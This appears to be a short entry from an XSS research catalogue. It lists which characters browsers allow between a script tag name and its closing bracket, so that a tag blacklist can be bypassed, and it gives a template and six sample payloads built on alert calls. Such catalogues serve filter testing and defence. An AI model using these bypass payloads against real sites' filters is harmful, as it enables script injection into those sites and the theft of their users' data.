Allowed characters right after tag name & before tag closure, no other characters in between

For tag blacklist bypass, by appending character on the end of tag name

Created Jan 9, 2025

Updated May 27, 2025

Detecting browser...

CategoryHTML Parsing

VisibilityPublic

TypeXSS

CharsetUTF-8

Template used:

<script$[chr]>log($[i])</script>

Sample payloads

<script0x09>alert(9)</script>

<script
>alert(10)</script>

<script0x0C>alert(12)</script>

<script0x0D>alert(13)</script>

<script >alert(32)</script>

<script/>alert(47)</script>